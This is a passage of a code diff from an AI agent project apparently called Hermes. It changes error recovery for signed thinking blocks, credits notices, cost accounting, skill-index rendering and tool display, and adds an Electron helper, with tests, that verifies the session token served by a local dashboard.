-                # ── Thinking block signature recovery ─────────────────
+                # Thinking block signature recovery.
+                #
                 # Anthropic signs thinking blocks against the full turn
-                # content.  Any upstream mutation (context compression,
+                # content. Any upstream mutation (context compression,
                 # session truncation, message merging) invalidates the
-                # signature → HTTP 400.  Recovery: strip reasoning_details
-                # from all messages so the next retry sends no thinking
-                # blocks at all.  One-shot — don't retry infinitely.
+                # signature and the API replies HTTP 400 ("invalid
+                # signature" or "cannot be modified"). Recovery strips
+                # ``reasoning_details`` so the retry sends no thinking
+                # blocks at all. One-shot per outer loop.
+                #
+                # The strip targets ``api_messages``, which is the
+                # API-call-time list that ``_build_api_kwargs`` consumes
+                # on every retry. ``api_messages`` was populated once at
+                # the start of the turn from shallow copies of
+                # ``messages``, so mutating it does not touch the
+                # canonical store. The previous implementation popped
+                # ``reasoning_details`` from ``messages`` instead, which
+                # had two problems: ``api_messages`` carried its own
+                # reference to the field through the shallow copy, so the
+                # retry's wire payload still included thinking blocks and
+                # the recovery never reached the API; and the mutation
+                # persisted into ``state.db`` through any subsequent
+                # ``_persist_session`` call, permanently corrupting the
+                # conversation. Future turns would replay the stripped
+                # state, hit the same 400, and the agent would terminate
+                # with ``max_retries_exhausted``, often spawning
+                # cascading compaction-ended sessions chained off the
+                # corrupted parent.
                 if (
                     classified.reason == FailoverReason.thinking_signature
                     and not _retry.thinking_sig_retry_attempted
                 ):
                     _retry.thinking_sig_retry_attempted = True
-                    for _m in messages:
-                        if isinstance(_m, dict):
+                    _api_stripped = 0
+                    for _m in api_messages:
+                        if isinstance(_m, dict) and "reasoning_details" in _m:
                             _m.pop("reasoning_details", None)
+                            _api_stripped += 1
                     agent._vprint(
-                        f"{agent.log_prefix}⚠️  Thinking block signature invalid — "
-                        f"stripped all thinking blocks, retrying...",
+                        f"{agent.log_prefix}⚠️  Thinking block signature invalid, "
+                        f"stripped reasoning_details from api_messages for retry...",
                         force=True,
                     )
                     logger.warning(
                         "%sThinking block signature recovery: stripped "
-                        "reasoning_details from %d messages",
-                        agent.log_prefix, len(messages),
+                        "reasoning_details from %d api_messages "
+                        "(canonical messages unchanged)",
+                        agent.log_prefix, _api_stripped,
                     )
                     continue
 

agent/credits_tracker.py

@@ -194,17 +194,71 @@ class AgentNotice:
     id: Optional[str] = None
 
 
+# ── is_free_tier_model (local-data-only free-model check) ────────────────────
+
+
+def is_free_tier_model(model: str, base_url: str = "") -> bool:
+    """Return True when *model* is a Nous free-tier model, using ONLY local data.
+
+    Two signals, both zero-network:
+
+    1. The ``:free`` suffix — the canonical Nous free SKU marker (e.g.
+       ``nvidia/nemotron-3-ultra:free``). Free by construction on the API side
+       (spend is forced to 0 for ``:free`` ids).
+    2. A peek into the in-process pricing cache in ``hermes_cli.models``
+       (populated when the model picker fetched ``/v1/models`` pricing for
+       *base_url*). PEEK ONLY — a cache miss never triggers a fetch. This is
+       CLI/TUI-session best-effort: gateway sessions never run the picker's
+       pricing fetch, so suppression there rests entirely on the ``:free``
+       suffix (which all Nous free SKUs carry).
+
+    Fail-open to False (the depleted notice still shows) on any error: wrongly
+    showing the warning is recoverable noise; wrongly hiding it on a paid model
+    would mask a real billing block.
+    """
+    if not model:
+        return False
+    if model.endswith(":free"):
+        return True
+    if not base_url:
+        return False
+    try:
+        from hermes_cli.models import _is_model_free, _pricing_cache
+
+        # Mirror get_pricing_for_provider's key normalization: the agent's
+        # Nous base_url is /v1-suffixed (https://inference-api.nousresearch.com/v1)
+        # but the picker keys _pricing_cache on the pre-/v1 root.
+        key = base_url.rstrip("/")
+        if key.endswith("/v1"):
+            key = key[:-3].rstrip("/")
+        pricing = _pricing_cache.get(key)
+        if not pricing:
+            return False
+        return _is_model_free(model, pricing)
+    except Exception:
+        return False
+
+
 # ── evaluate_credits_notices (pure reconciliation function) ──────────────────
 
 
 def evaluate_credits_notices(
     state: CreditsState,
     latch: dict,
+    *,
+    model_is_free: bool = False,
 ) -> tuple[list[AgentNotice], list[str]]:
     """Reconcile credits notices against the latch. Mutates ``latch`` IN PLACE.
 
     latch = {"active": set[str], "seen_below_90": bool, "usage_band": Optional[int]}.
 
+    ``model_is_free``: True when the session's active model is a Nous free-tier
+    model (see :func:`is_free_tier_model`). Suppresses the ``credits.depleted``
+    notice — a depleted account on a free model can keep inferencing, so the
+    error banner is noise (and confuses free-tier users who never had credits).
+    Suppression does NOT emit the "restored" success notice; that fires only on
+    a genuine ``paid_access`` flip back to True.
+
     Returns ``(to_show: list[AgentNotice], to_clear: list[str])``.
     Caller emits to_clear FIRST, then to_show.
 
@@ -284,7 +338,11 @@ def evaluate_credits_notices(
         active.discard("credits.grant_spent")
 
     # ── depleted ─────────────────────────────────────────────────────────────
-    if depleted_cond and "credits.depleted" not in active:
+    # Suppressed while the active model is free: inference still works there,
+    # so the error banner would just alarm users (free-tier users especially,
+    # who never had paid credits to "lose").
+    show_depleted = depleted_cond and not model_is_free
+    if show_depleted and "credits.depleted" not in active:
         to_show.append(
             AgentNotice(
                 text="✕ Credit access paused · run /usage for balance",
@@ -295,20 +353,23 @@ def evaluate_credits_notices(
             )
         )
         active.add("credits.depleted")
-    elif "credits.depleted" in active and not depleted_cond:
+    elif "credits.depleted" in active and not show_depleted:
         to_clear.append("credits.depleted")
         active.discard("credits.depleted")
-        # Recovery: also emit the success notice
-        to_show.append(
-            AgentNotice(
-                text="✓ Credit access restored",
-                level="success",
-                kind="ttl",
-                ttl_ms=CREDITS_RESTORED_TTL_MS,
-                key="credits.restored",
-                id="credits.restored",
+        if not depleted_cond:
+            # Genuine recovery (paid_access flipped back True): also emit the
+            # success notice. A clear caused by switching to a free model while
+            # still depleted must NOT claim access was restored.
+            to_show.append(
+                AgentNotice(
+                    text="✓ Credit access restored",
+                    level="success",
+                    kind="ttl",
+                    ttl_ms=CREDITS_RESTORED_TTL_MS,
+                    key="credits.restored",
+                    id="credits.restored",
+                )
             )
-        )
 
     return (to_show, to_clear)
 

agent/display.py

@@ -858,6 +858,20 @@ def _detect_tool_failure(tool_name: str, result: str | None) -> tuple[bool, str]
     return False, ""
 
 
+def _used_free_parallel(result: str | None) -> bool:
+    """True when a web result came from Parallel's free Search MCP.
+
+    Only the keyless Parallel path tags its result with ``provider="parallel"``;
+    the paid REST path and every other provider omit it. Used to label the tool
+    line "Parallel search" / "Parallel fetch" exactly when the free MCP served
+    the call.
+    """
+    if not isinstance(result, str) or '"provider"' not in result:
+        return False
+    data = safe_json_loads(result)
+    return isinstance(data, dict) and str(data.get("provider", "")).lower() == "parallel"
+
+
 def get_cute_tool_message(
     tool_name: str, args: dict, duration: float, result: str | None = None,
 ) -> str:
@@ -895,15 +909,17 @@ def get_cute_tool_message(
         return f"{line}{failure_suffix}"
 
     if tool_name == "web_search":
-        return _wrap(f"┊ 🔍 search    {_trunc(args.get('query', ''), 42)}  {dur}")
+        verb = "Parallel search" if _used_free_parallel(result) else "search"
+        return _wrap(f"┊ 🔍 {verb:<9} {_trunc(args.get('query', ''), 42)}  {dur}")
     if tool_name == "web_extract":
+        verb = "Parallel fetch" if _used_free_parallel(result) else "fetch"
         urls = args.get("urls", [])
         if urls:
             url = urls[0] if isinstance(urls, list) else str(urls)
             domain = url.replace("https://", "").replace("http://", "").split("/")[0]
             extra = f" +{len(urls)-1}" if len(urls) > 1 else ""
-            return _wrap(f"┊ 📄 fetch     {_trunc(domain, 35)}{extra}  {dur}")
-        return _wrap(f"┊ 📄 fetch     pages  {dur}")
+            return _wrap(f"┊ 📄 {verb:<9} {_trunc(domain, 35)}{extra}  {dur}")
+        return _wrap(f"┊ 📄 {verb:<9} pages  {dur}")
     if tool_name == "terminal":
         return _wrap(f"┊ 💻 $         {_trunc(args.get('command', ''), 42)}  {dur}")
     if tool_name == "process":

agent/error_classifier.py

@@ -549,14 +549,32 @@ def classify_api_error(
             should_fallback=True,
         )
 
-    # Anthropic thinking block signature invalid (400).
+    # Anthropic thinking block recovery (400).  Two distinct failure modes,
+    # same recovery (strip all reasoning_details and retry without thinking
+    # blocks — see the thinking_signature handler in conversation_loop.py):
+    #   1. Signature mismatch: a thinking block is signed against the full
+    #      turn content; any upstream mutation (context compression, session
+    #      truncation, message merging) invalidates the signature.
+    #      Pattern: "signature" + "thinking".
+    #   2. Frozen-block mutation: Anthropic rejects any change to the
+    #      thinking/redacted_thinking blocks in the *latest* assistant
+    #      message — "`thinking` or `redacted_thinking` blocks in the latest
+    #      assistant message cannot be modified. These blocks must remain as
+    #      they were in the original response."  This carries no "signature"
+    #      token, so the original pattern missed it and the turn hard-aborted
+    #      as a non-retryable client error instead of self-healing.
+    #      Pattern: "thinking" + ("cannot be modified" | "must remain as they were").
     # Don't gate on provider — OpenRouter proxies Anthropic errors, so the
     # provider may be "openrouter" even though the error is Anthropic-specific.
-    # The message pattern ("signature" + "thinking") is unique enough.
+    # The combined patterns are unique enough.
     if (
         status_code == 400
-        and "signature" in error_msg
         and "thinking" in error_msg
+        and (
+            "signature" in error_msg
+            or "cannot be modified" in error_msg
+            or "must remain as they were" in error_msg
+        )
     ):
         return _result(
             FailoverReason.thinking_signature,

agent/prompt_builder.py

@@ -1101,11 +1101,12 @@ def _skill_should_show(
 def build_skills_system_prompt(
     available_tools: "set[str] | None" = None,
     available_toolsets: "set[str] | None" = None,
+    compact_categories: "frozenset[str] | None" = None,
 ) -> str:
     """Build a compact skill index for the system prompt.
 
     Two-layer cache:
-      1. In-process LRU dict keyed by (skills_dir, tools, toolsets)
+      1. In-process LRU dict keyed by (skills_dir, tools, toolsets, hidden)
       2. Disk snapshot (``.skills_prompt_snapshot.json``) validated by
          mtime/size manifest — survives process restarts
 
@@ -1115,6 +1116,12 @@ def build_skills_system_prompt(
     scanned alongside the local ``~/.hermes/skills/`` directory.  External dirs
     are read-only — they appear in the index but new skills are always created
     in the local dir.  Local skills take precedence when names collide.
+
+    ``compact_categories`` (e.g. from the coding posture — see
+    agent/coding_context.py) demotes whole categories to a names-only line in
+    the rendered index. Nothing is ever hidden: every skill name stays
+    visible and loadable via ``skill_view`` / ``skills_list``; only the
+    descriptions are dropped, and a footer note explains the demotion.
     """
     skills_dir = get_skills_dir()
     external_dirs = get_all_skills_dirs()[1:]  # skip local (index 0)
@@ -1139,6 +1146,7 @@ def build_skills_system_prompt(
         tuple(sorted(str(ts) for ts in (available_toolsets or set()))),
         _platform_hint,
         tuple(sorted(disabled)),
+        tuple(sorted(compact_categories or ())),
     )
     with _SKILLS_PROMPT_CACHE_LOCK:
         cached = _SKILLS_PROMPT_CACHE.get(cache_key)
@@ -1272,18 +1280,44 @@ def build_skills_system_prompt(
             except Exception as e:
                 logger.debug("Could not read external skill description %s: %s", desc_file, e)
 
+    # Posture-driven category demotion (e.g. non-coding skills while pairing
+    # on code). Demoted categories stay in the index as a single names-only
+    # line — descriptions are dropped to cut noise, but every skill name
+    # remains visible so memory-anchored recall ("load <name>") keeps working.
+    # NEVER remove entries entirely: agent-created skills are the model's
+    # project memory, and models don't reach for skills_list to rediscover
+    # what the index stops showing them. Match on the top-level category
+    # segment so nested categories ("social-media/twitter") are demoted with
+    # their parent.
+    demoted = frozenset(
+        cat for cat in skills_by_category
+        if cat.split("/", 1)[0] in (compact_categories or frozenset())
+    )
+
+    hidden_note = ""
+    if demoted:
+        hidden_note = (
+            "\n(Categories marked [names only] are outside the current coding "
+            "context, so their descriptions are omitted — the skills work "
+            "normally and load with skill_view(name) as usual.)"
+        )
+
     if not skills_by_category:
         result = ""
     else:
         index_lines = []
         for category in sorted(skills_by_category.keys()):
+            # Deduplicate and sort skills within each category
+            seen = set()
+            if category in demoted:
+                names = sorted({name for name, _ in skills_by_category[category]})
+                index_lines.append(f"  {category} [names only]: {', '.join(names)}")
+                continue
             cat_desc = category_descriptions.get(category, "")
             if cat_desc:
                 index_lines.append(f"  {category}: {cat_desc}")
             else:
                 index_lines.append(f"  {category}:")
-            # Deduplicate and sort skills within each category
-            seen = set()
             for name, desc in sorted(skills_by_category[category], key=lambda x: x[0]):
                 if name in seen:
                     continue
@@ -1320,6 +1354,7 @@ def build_skills_system_prompt(
             "</available_skills>\n"
             "\n"
             "Only proceed without loading a skill if genuinely none are relevant to the task."
+            + hidden_note
         )
 
     # ── Store in LRU cache ────────────────────────────────────────────

agent/system_prompt.py

@@ -191,9 +191,23 @@ def build_system_prompt_parts(agent: Any, system_message: Optional[str] = None)
             )
             if toolset
         }
+        # Focus mode (opt-in) demotes non-coding skill categories to
+        # names-only in the index (never hidden — skill_view/skills_list
+        # reach everything, and every name stays visible for recall). The
+        # default coding posture leaves the index untouched.
+        _compact_cats = frozenset()
+        try:
+            from agent.coding_context import coding_compact_skill_categories
+
+            _compact_cats = coding_compact_skill_categories(
+                platform=agent.platform, cwd=resolve_context_cwd()
+            )
+        except Exception:
+            _compact_cats = frozenset()
         skills_prompt = _r.build_skills_system_prompt(
             available_tools=agent.valid_tool_names,
             available_toolsets=avail_toolsets,
+            compact_categories=_compact_cats or None,
         )
     else:
         skills_prompt = ""
@@ -221,6 +235,26 @@ def build_system_prompt_parts(agent: Any, system_message: Optional[str] = None)
     if _env_hints:
         stable_parts.append(_env_hints)
 
+    # Coding posture (base Hermes, any interactive coding surface in a code
+    # workspace — see agent/coding_context.py). The operating brief + the live
+    # git/workspace snapshot are built once here and cached for the session;
+    # the snapshot is never re-probed per turn (that would break the prompt
+    # cache), so the brief tells the model to re-check git before relying on it.
+    if agent.valid_tool_names:
+        try:
+            from agent.coding_context import coding_system_blocks
+
+            stable_parts.extend(
+                coding_system_blocks(
+                    platform=agent.platform,
+                    cwd=resolve_context_cwd(),
+                    model=agent.model,
+                )
+            )
+        except Exception:
+            # Coding-context probing must never block prompt build.
+            pass
+
     # Local Python toolchain probe — names python/pip/uv/PEP-668 state when
     # something is non-default so the model can pick the right install
     # strategy without discovering by failure.  Emits a single line; emits

agent/tool_executor.py

@@ -417,7 +417,7 @@ def execute_tool_calls_concurrent(agent, assistant_message, messages: list, effe
 
     # ── Logging / callbacks ──────────────────────────────────────────
     tool_names_str = ", ".join(name for _, name, _, _, _, _ in parsed_calls)
-    if not agent.quiet_mode:
+    if not agent.quiet_mode and getattr(agent, "tool_progress_mode", "all") != "off":
         print(f"  ⚡ Concurrent: {num_tools} tool calls — {tool_names_str}")
         for i, (tc, name, args, middleware_trace, block_result, blocked_by_guardrail) in enumerate(parsed_calls, 1):
             args_str = json.dumps(args, ensure_ascii=False)
@@ -702,7 +702,7 @@ def execute_tool_calls_concurrent(agent, assistant_message, messages: list, effe
         if agent._should_emit_quiet_tool_messages():
             cute_msg = _get_cute_tool_message_impl(name, args, tool_duration, result=function_result)
             agent._safe_print(f"  {cute_msg}")
-        elif getattr(agent, "tool_progress_mode", "all") != "off":
+        elif not agent.quiet_mode and getattr(agent, "tool_progress_mode", "all") != "off":
             _preview_str = _multimodal_text_summary(function_result)
             if agent.verbose_logging:
                 print(f"  ✅ Tool {i+1} completed in {tool_duration:.2f}s")
@@ -866,7 +866,7 @@ def execute_tool_calls_sequential(agent, assistant_message, messages: list, effe
         elif function_name == "skill_manage":
             agent._iters_since_skill = 0
 
-        if not agent.quiet_mode:
+        if not agent.quiet_mode and getattr(agent, "tool_progress_mode", "all") != "off":
             args_str = json.dumps(function_args, ensure_ascii=False)
             if agent.verbose_logging:
                 print(f"  📞 Tool {i}: {function_name}({list(function_args.keys())})")
@@ -1384,7 +1384,7 @@ def execute_tool_calls_sequential(agent, assistant_message, messages: list, effe
         # entire batch.  The model sees it on the next API iteration.
         agent._apply_pending_steer_to_tool_results(messages, 1)
 
-        if not agent.quiet_mode:
+        if not agent.quiet_mode and getattr(agent, "tool_progress_mode", "all") != "off":
             if agent.verbose_logging:
                 print(f"  ✅ Tool {i} completed in {tool_duration:.2f}s")
                 print(agent._wrap_verbose("Result: ", function_result))

agent/transports/anthropic.py

@@ -84,7 +84,7 @@ class AnthropicTransport(ProviderTransport):
         to OpenAI finish_reason, and collects reasoning_details in provider_data.
         """
         import json
-        from agent.anthropic_adapter import _to_plain_data
+        from agent.anthropic_adapter import _to_plain_data, _sanitize_replay_block
         from agent.transports.types import ToolCall
 
         strip_tool_prefix = kwargs.get("strip_tool_prefix", False)
@@ -94,14 +94,40 @@ class AnthropicTransport(ProviderTransport):
         reasoning_parts = []
         reasoning_details = []
         tool_calls = []
+        # Verbatim, order-preserving copy of every content block in the turn.
+        # Anthropic signs each thinking block against the turn content that
+        # PRECEDES it at its position; when a turn interleaves thinking and
+        # tool_use (adaptive/interleaved thinking, Claude 4.6+), the parallel
+        # reasoning_details + tool_calls lists below lose that cross-type
+        # ordering. Replaying the latest assistant message in the wrong order
+        # invalidates the signatures -> HTTP 400 "thinking ... blocks in the
+        # latest assistant message cannot be modified". Preserve the exact
+        # block sequence here so the adapter can replay it unchanged. See
+        # tests/agent/test_anthropic_thinking_block_order.py.
+        ordered_blocks = []
 
         for block in response.content:
+            block_dict = _to_plain_data(block)
+            clean_block = None
+            if isinstance(block_dict, dict):
+                # Sanitize at capture so output-only SDK fields (parsed_output,
+                # caller, citations=None, …) never persist to state.db and leak
+                # back as request input on replay → HTTP 400 "Extra inputs are
+                # not permitted". Defence-in-depth with the replay-side sanitize.
+                clean_block = _sanitize_replay_block(block_dict)
+                if clean_block is not None:
+                    ordered_blocks.append(clean_block)
             if block.type == "text":
                 text_parts.append(block.text)
-            elif block.type == "thinking":
-                reasoning_parts.append(block.thinking)
-                block_dict = _to_plain_data(block)
-                if isinstance(block_dict, dict):
+            elif block.type in ("thinking", "redacted_thinking"):
+                if block.type == "thinking":
+                    reasoning_parts.append(block.thinking)
+                # Use the sanitized block (clean_block) for reasoning_details too,
+                # since _extract_preserved_thinking_blocks replays these on the
+                # non-ordered path. Falls back to raw only if sanitize dropped it.
+                if isinstance(clean_block, dict):
+                    reasoning_details.append(clean_block)
+                elif isinstance(block_dict, dict):
                     reasoning_details.append(block_dict)
             elif block.type == "tool_use":
                 name = block.name
@@ -130,6 +156,23 @@ class AnthropicTransport(ProviderTransport):
         provider_data = {}
         if reasoning_details:
             provider_data["reasoning_details"] = reasoning_details
+        # Only worth carrying the ordered-blocks channel when the turn
+        # actually interleaves signed thinking with tool_use — that's the
+        # only shape the parallel lists reconstruct incorrectly. A turn that
+        # is purely text, or thinking-then-tools with a single leading
+        # thinking block, replays correctly without it.
+        _has_signed_thinking = any(
+            isinstance(b, dict)
+            and b.get("type") in ("thinking", "redacted_thinking")
+            and (b.get("signature") or b.get("data"))
+            for b in ordered_blocks
+        )
+        _has_tool_use = any(
+            isinstance(b, dict) and b.get("type") == "tool_use"
+            for b in ordered_blocks
+        )
+        if _has_signed_thinking and _has_tool_use:
+            provider_data["anthropic_content_blocks"] = ordered_blocks
 
         return NormalizedResponse(
             content="\n".join(text_parts) if text_parts else None,

agent/transports/chat_completions.py

@@ -388,6 +388,13 @@ class ChatCompletionsTransport(ProviderTransport):
         if provider_prefs and is_openrouter:
             extra_body["provider"] = provider_prefs
 
+        # OpenRouter usage accounting — response `usage.cost` carries the REAL
+        # charged cost (credits are 1:1 USD). Parity with the profile path in
+        # plugins/model-providers/openrouter/__init__.py; this branch only runs
+        # when the OpenRouter profile isn't loaded.
+        if is_openrouter:
+            extra_body["usage"] = {"include": True}
+
         # Pareto Code router plugin — model-gated. Same shape as the
         # profile path in plugins/model-providers/openrouter/__init__.py;
         # this branch only runs when the OpenRouter profile isn't loaded.

agent/transports/types.py

@@ -121,6 +121,18 @@ class NormalizedResponse:
         pd = self.provider_data or {}
         return pd.get("reasoning_details")
 
+    @property
+    def anthropic_content_blocks(self):
+        """Verbatim, order-preserving Anthropic content blocks for a turn.
+
+        Present only when an Anthropic turn interleaves signed thinking with
+        tool_use — the one shape the parallel reasoning_details + tool_calls
+        lists reconstruct in the wrong order, invalidating thinking-block
+        signatures on replay. See agent/transports/anthropic.py.
+        """
+        pd = self.provider_data or {}
+        return pd.get("anthropic_content_blocks")
+
     @property
     def codex_reasoning_items(self):
         pd = self.provider_data or {}

agent/usage_pricing.py

@@ -852,6 +852,73 @@ def estimate_usage_cost(
     )
 
 
+def _finite_nonneg_number(value: Any) -> Optional[float]:
+    """Return ``value`` as a float when it is a real, finite, non-negative
+    number (int/float, not bool); otherwise None."""
+    if isinstance(value, bool) or not isinstance(value, (int, float)):
+        return None
+    try:
+        f = float(value)
+    except (TypeError, ValueError):
+        return None
+    if f != f or f in (float("inf"), float("-inf")) or f < 0:
+        return None
+    return f
+
+
+def extract_provider_cost_usd(response_usage: Any) -> Optional[float]:
+    """Provider-REPORTED cost (USD) from a response ``usage`` object, or None.
+
+    Reads the ``usage.cost`` field that OpenRouter's usage accounting returns
+    (``usage: {"include": true}`` request param; OpenRouter credits are 1:1
+    USD). OpenRouter-compatible aggregators use the same field. This NEVER
+    estimates: when the provider reports nothing, the result is None — callers
+    must treat None as "no cost data", not zero. A reported ``0`` is a real
+    zero (e.g. free-tier models) and is returned as ``0.0``.
+    """
+    if response_usage is None:
+        return None
+    cost = getattr(response_usage, "cost", None)
+    if cost is None and isinstance(response_usage, dict):
+        cost = response_usage.get("cost")
+    return _finite_nonneg_number(cost)
+
+
+def real_session_cost_usd(agent: Any) -> Optional[float]:
+    """Session-cumulative provider-REPORTED cost in USD, or None.
+
+    Combines the two real sources Hermes has — no estimation, ever:
+      - ``agent.session_actual_cost_usd``: per-response ``usage.cost``
+        accumulator (OpenRouter usage accounting).
+      - Nous ``x-nous-credits-*`` header delta via
+        ``agent.get_credits_spent_micros()`` (account-level spend since the
+        session first saw a header; clamped at 0 so a mid-session top-up
+        doesn't render a negative cost).
+
+    Returns None when neither source has reported anything — callers must
+    hide their cost display in that case rather than showing $0.00.
+    """
+    total: Optional[float] = None
+
+    actual = _finite_nonneg_number(getattr(agent, "session_actual_cost_usd", None))
+    if actual is not None:
+        total = actual
+
+    try:
+        spent_micros = agent.get_credits_spent_micros()
+    except Exception:
+        spent_micros = None
+    if spent_micros is not None:
+        try:
+            spent_usd = max(0, int(spent_micros)) / 1_000_000
+        except (TypeError, ValueError):
+            spent_usd = None
+        if spent_usd is not None:
+            total = (total or 0.0) + spent_usd
+
+    return total
+
+
 def has_known_pricing(
     model_name: str,
     provider: Optional[str] = None,

apps/bootstrap-installer/package.json

@@ -11,7 +11,8 @@
     "tauri": "tauri",
     "tauri:dev": "tauri dev",
     "tauri:build": "tauri build",
-    "tauri:build:debug": "tauri build --debug"
+    "tauri:build:debug": "tauri build --debug",
+    "typecheck": "tsc -p . --noEmit"
   },
   "dependencies": {
     "@nous-research/ui": "0.16.0",
@@ -40,7 +41,7 @@
     "@types/react": "^19.2.14",
     "@types/react-dom": "^19.2.3",
     "@vitejs/plugin-react": "^5.2.0",
-    "typescript": "~5.9.3",
+    "typescript": "^6.0.3",
     "vite": "^7.3.1"
   }
 }

apps/bootstrap-installer/tsconfig.json

@@ -16,9 +16,8 @@
     "noUnusedParameters": true,
     "esModuleInterop": true,
     "noFallthroughCasesInSwitch": true,
-    "baseUrl": ".",
     "paths": {
-      "@/*": ["src/*"]
+      "@/*": ["./src/*"]
     }
   },
   "include": ["src"],

apps/desktop/README.md

@@ -93,7 +93,7 @@ Run before opening a PR (lint may surface pre-existing warnings but must exit cl
 
 ```bash
 npm run fix
-npm run type-check
+npm run typecheck
 npm run lint
 npm run test:desktop:all
 ```

apps/desktop/electron/dashboard-token.cjs

@@ -0,0 +1,99 @@
+/**
+ * Helpers for local dashboard session-token discovery.
+ *
+ * The desktop main process can pass HERMES_DASHBOARD_SESSION_TOKEN when it
+ * spawns the local dashboard, but the dashboard is the source of truth for the
+ * token it actually serves to the renderer. If those drift, HTTP readiness
+ * probes still pass while /api/ws rejects the renderer's token.
+ */
+
+const DEFAULT_TOKEN_FETCH_TIMEOUT_MS = 3_000
+
+async function fetchPublicText(url, options = {}) {
+  const { protocol } = new URL(url)
+  if (protocol !== 'http:' && protocol !== 'https:') {
+    throw new Error(`Unsupported Hermes backend URL protocol: ${protocol}`)
+  }
+
+  const timeoutMs = options.timeoutMs ?? DEFAULT_TOKEN_FETCH_TIMEOUT_MS
+  const res = await fetch(url, { signal: AbortSignal.timeout(timeoutMs) }).catch(error => {
+    if (error.name === 'TimeoutError') {
+      throw new Error(`Timed out connecting to Hermes backend after ${timeoutMs}ms`)
+    }
+    throw error
+  })
+  const text = await res.text()
+
+  if (!res.ok) throw new Error(`${res.status}: ${text || res.statusText}`)
+
+  return text
+}
+
+function extractInjectedDashboardToken(html) {
+  const match = /window\.__HERMES_SESSION_TOKEN__\s*=\s*("(?:\\.|[^"\\])*")/.exec(String(html || ''))
+  if (!match) return null
+  try {
+    return JSON.parse(match[1])
+  } catch {
+    return null
+  }
+}
+
+function dashboardIndexUrl(baseUrl) {
+  return `${String(baseUrl || '').replace(/\/+$/, '')}/`
+}
+
+async function resolveServedDashboardToken(baseUrl, fallbackToken, options = {}) {
+  const fetchText = options.fetchText || fetchPublicText
+  const html = await fetchText(dashboardIndexUrl(baseUrl), {
+    timeoutMs: options.timeoutMs ?? DEFAULT_TOKEN_FETCH_TIMEOUT_MS
+  })
+  const servedToken = extractInjectedDashboardToken(html)
+
+  if (servedToken && servedToken !== fallbackToken && typeof options.rememberLog === 'function') {
+    options.rememberLog('[boot] dashboard served a different session token; using served token for WebSocket auth')
+  }
+
+  return servedToken || fallbackToken
+}
+
+/**
+ * A served token that differs from our spawn token while our child is DEAD
+ * came from a process we did not spawn (orphan/port squatter that satisfied
+ * the public /api/status readiness probe). With a live child the mismatch is
+ * benign: our own backend regenerated the token because the env pin did not
+ * survive the spawn.
+ */
+function isForeignBackendToken({ servedToken, spawnToken, childAlive }) {
+  return Boolean(servedToken) && servedToken !== spawnToken && !childAlive
+}
+
+/**
+ * Resolve the token the backend actually serves, adopting benign drift and
+ * failing loudly on a foreign backend. `childAlive` is a thunk so liveness is
+ * sampled after the fetch, not before.
+ */
+async function adoptServedDashboardToken(baseUrl, spawnToken, { childAlive, label = 'Hermes backend', ...options }) {
+  const servedToken = await resolveServedDashboardToken(baseUrl, spawnToken, options).catch(error => {
+    options.rememberLog?.(`[boot] could not read served dashboard token (${label}): ${error.message}`)
+    return spawnToken
+  })
+
+  if (isForeignBackendToken({ servedToken, spawnToken, childAlive: childAlive() })) {
+    throw new Error(
+      `${label} exited and ${dashboardIndexUrl(baseUrl)} is served by a process we did not spawn; refusing its session token.`
+    )
+  }
+
+  return servedToken
+}
+
+module.exports = {
+  DEFAULT_TOKEN_FETCH_TIMEOUT_MS,
+  adoptServedDashboardToken,
+  dashboardIndexUrl,
+  extractInjectedDashboardToken,
+  fetchPublicText,
+  isForeignBackendToken,
+  resolveServedDashboardToken
+}

apps/desktop/electron/dashboard-token.test.cjs

@@ -0,0 +1,142 @@
+/**
+ * Tests for electron/dashboard-token.cjs.
+ *
+ * Run with: node --test electron/dashboard-token.test.cjs
+ * (Wired into npm test:desktop:platforms in package.json.)
+ */
+
+const test = require('node:test')
+const assert = require('node:assert/strict')
+
+const {
+  adoptServedDashboardToken,
+  dashboardIndexUrl,
+  extractInjectedDashboardToken,
+  fetchPublicText,
+  isForeignBackendToken,
+  resolveServedDashboardToken
+} = require('./dashboard-token.cjs')
+
+test('extractInjectedDashboardToken reads the JSON-encoded dashboard token', () => {
+  const html = '<script>window.__HERMES_SESSION_TOKEN__="served-token";window.__HERMES_BASE_PATH__=""</script>'
+  assert.equal(extractInjectedDashboardToken(html), 'served-token')
+})
+
+test('extractInjectedDashboardToken handles escaped token strings', () => {
+  const html = '<script>window.__HERMES_SESSION_TOKEN__="served\\\\token\\"quoted";</script>'
+  assert.equal(extractInjectedDashboardToken(html), 'served\\token"quoted')
+})
+
+test('extractInjectedDashboardToken returns null for missing or malformed values', () => {
+  assert.equal(extractInjectedDashboardToken('<html></html>'), null)
+  assert.equal(extractInjectedDashboardToken('<script>window.__HERMES_SESSION_TOKEN__={bad}</script>'), null)
+})
+
+test('dashboardIndexUrl preserves dashboard path prefixes', () => {
+  assert.equal(dashboardIndexUrl('http://127.0.0.1:9120'), 'http://127.0.0.1:9120/')
+  assert.equal(dashboardIndexUrl('https://host.example/hermes/'), 'https://host.example/hermes/')
+})
+
+test('resolveServedDashboardToken uses the served token and logs when it differs', async () => {
+  const logs = []
+  const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
+    fetchText: async url => {
+      assert.equal(url, 'http://127.0.0.1:9120/')
+      return '<script>window.__HERMES_SESSION_TOKEN__="served-token";</script>'
+    },
+    rememberLog: line => logs.push(line)
+  })
+
+  assert.equal(token, 'served-token')
+  assert.equal(logs.length, 1)
+  assert.match(logs[0], /served a different session token/)
+})
+
+test('resolveServedDashboardToken falls back when the served HTML has no token', async () => {
+  const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
+    fetchText: async () => '<html></html>',
+    rememberLog: () => {
+      throw new Error('should not log when no served token is present')
+    }
+  })
+
+  assert.equal(token, 'spawn-token')
+})
+
+test('resolveServedDashboardToken does not log when served token matches fallback', async () => {
+  const token = await resolveServedDashboardToken('http://127.0.0.1:9120', 'same-token', {
+    fetchText: async () => '<script>window.__HERMES_SESSION_TOKEN__="same-token";</script>',
+    rememberLog: () => {
+      throw new Error('should not log when token already matches')
+    }
+  })
+
+  assert.equal(token, 'same-token')
+})
+
+test('resolveServedDashboardToken propagates fetch errors so callers can fall back explicitly', async () => {
+  await assert.rejects(
+    () =>
+      resolveServedDashboardToken('http://127.0.0.1:9120', 'spawn-token', {
+        fetchText: async () => {
+          throw new Error('boom')
+        }
+      }),
+    /boom/
+  )
+})
+
+test('fetchPublicText rejects unsupported protocols', async () => {
+  await assert.rejects(() => fetchPublicText('file:///tmp/index.html'), /Unsupported Hermes backend URL protocol/)
+})
+
